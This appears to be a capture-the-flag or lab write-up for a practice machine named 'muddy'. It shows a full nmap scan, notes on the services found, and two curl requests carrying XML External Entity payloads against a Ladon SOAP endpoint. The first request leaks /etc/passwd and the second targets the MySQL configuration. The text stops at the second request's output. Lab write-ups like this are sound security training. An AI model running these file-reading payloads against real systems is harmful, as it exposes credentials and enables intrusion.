Muddy
Intro
Initial Foothold
# Nmap 7.94SVN scan initiated Fri Apr 5 09:36:05 2024 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- -oN /home/joe/hax/pg/muddy/results/muddy.pg/scans/_full_tcp_nmap.txt -oX /home/joe/hax/pg/muddy/results/muddy.pg/scans/xml/_full_tcp_nmap.xml muddy.pg
Nmap scan report for muddy.pg (192.168.151.161)
Host is up, received user-set (0.041s latency).
Scanned at 2024-04-05 09:36:06 CDT for 76s
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
| 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
25/tcp open smtp syn-ack ttl 61 Exim smtpd
| smtp-commands: muddy Hello muddy.pg [192.168.45.227], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-title: Did not follow redirect to http://muddy.ugc/
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
111/tcp open rpcbind syn-ack ttl 61 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
443/tcp open tcpwrapped syn-ack ttl 61
908/tcp open unknown syn-ack ttl 61
8888/tcp open http syn-ack ttl 61 WSGIServer 0.1 (Python 2.7.16)
|_http-title: Ladon Service Catalog
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: WSGIServer/0.1 Python/2.7.16
Device type: general purpose|storage-misc|firewall|WAP
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X|2.4.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%)
OS CPE: cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel:4.4 cpe:/o:linux:linux_kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:linux:linux_kernel:2.4
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 2.6.35 (85%), Linux 4.9 (85%), Linux 3.4 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=4/5%OT=22%CT=1%CU=%PV=Y%DS=4%DC=T%G=N%TM=66100CA2%P=x86_64-pc-linux-gnu)
SEQ(SP=100%GCD=1%ISR=10D%TI=Z%II=I%TS=A)
SEQ(SP=FE%GCD=1%ISR=10A%TI=Z%II=I%TS=A)
OPS(O1=M551ST11NW7%O2=M551ST11NW7%O3=M551NNT11NW7%O4=M551ST11NW7%O5=M551ST11NW7%O6=M551ST11)
WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
ECN(R=Y%DF=Y%TG=40%W=FAF0%O=M551NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=N)
T7(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)
Uptime guess: 37.772 days (since Tue Feb 27 14:05:31 2024)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 39.75 ms 192.168.45.1
2 39.74 ms 192.168.45.254
3 42.53 ms 192.168.251.1
4 42.54 ms muddy.pg (192.168.151.161)
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 5 09:37:22 2024 -- 1 IP address (1 host up) scanned in 76.80 seconds
Open Ports
22/tcp - OpenSSH 7.9p1
25/tcp - Exim smtpd
80/tcp - Apache httpd 2.4.38
vhost of muddy.ugc running wordpress
wordpress theme (shapely) not likely to be vulnerable based on version
wordpress plugin kali-forms has potential vulnerabilities
111/tcp - rpcbind 2-4
443/tcp - tcpwrapped?
908/tcp - unknown
8888/tcp - WSGIServer 0.1 (Python 2.7.16)
Ladon service catalog
exposes method named 'checkout'
potentially vulnerable to XML External Entity Expansion
Leaking /etc/passwd through XML External Entity Expansion
┌──(joe㉿kali)-[~/Downloads] [18/160]
└─$ curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://muddy.pg:8888/muddy/soap11/checkout\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:muddy\"><soapenv:Header/>
<soapenv:Body>
<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
'http://muddy.pg:8888/muddy/soap11'
<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="urn:muddy" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><ns:checkoutResponse><result>Serial number: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:104:110::/nonexistent:/usr/sbin/nologinsshd:x:105:65534::/run/sshd:/usr/sbin/nologinsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinmysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/falseian:x:1000:1000::/home/ian:/bin/shDebian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin_rpc:x:108:65534::/run/rpcbind:/usr/sbin/nologinstatd:x:109:65534::/var/lib/nfs:/usr/sbin/nologin</result></ns:checkoutResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
Parsed /etc/passwd file shows usernames 'root' and 'ian'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
ian:x:1000:1000::/home/ian:/bin/sh
Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
_rpc:x:108:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:109:65534::/var/lib/nfs:/usr/sbin/nologin
Attempting to ready mysql configurations (where credential to connect to mysql may be stored)
┌──(joe㉿kali)-[~/Downloads]
└─$ curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://muddy.pg:8888/muddy/soap11/checkout\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///etc/mysql/my.cnf">
]>
<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:muddy\"><soapenv:Header/>
<soapenv:Body>
<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
'http://muddy.pg:8888/muddy/soap11'
<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="urn:muddy" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><ns:checkoutResponse><result>Serial number: # The MariaDB configuration file## The MariaDB/MySQL tools read configuration files in the following order:# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,# 2. "/etc/mysql/conf.d/*.cnf" to set global options.# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.# 4. "~/.my.cnf" to set user-specific options.## If the same option is defined multiple times, the last one will apply.## One can use all long options that the program supports.# Run program with --help to get a list of available options and with# --print-defaults to see which it would actually understand and use.## This group is read both both by the client and the server# use it for options that affect everything#[client-server]# Import all .cnf files from configuration directory!includedir /etc/mysql/conf.d/!includedir /etc/mysql/mariadb.conf.d/</result></ns:checkoutResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
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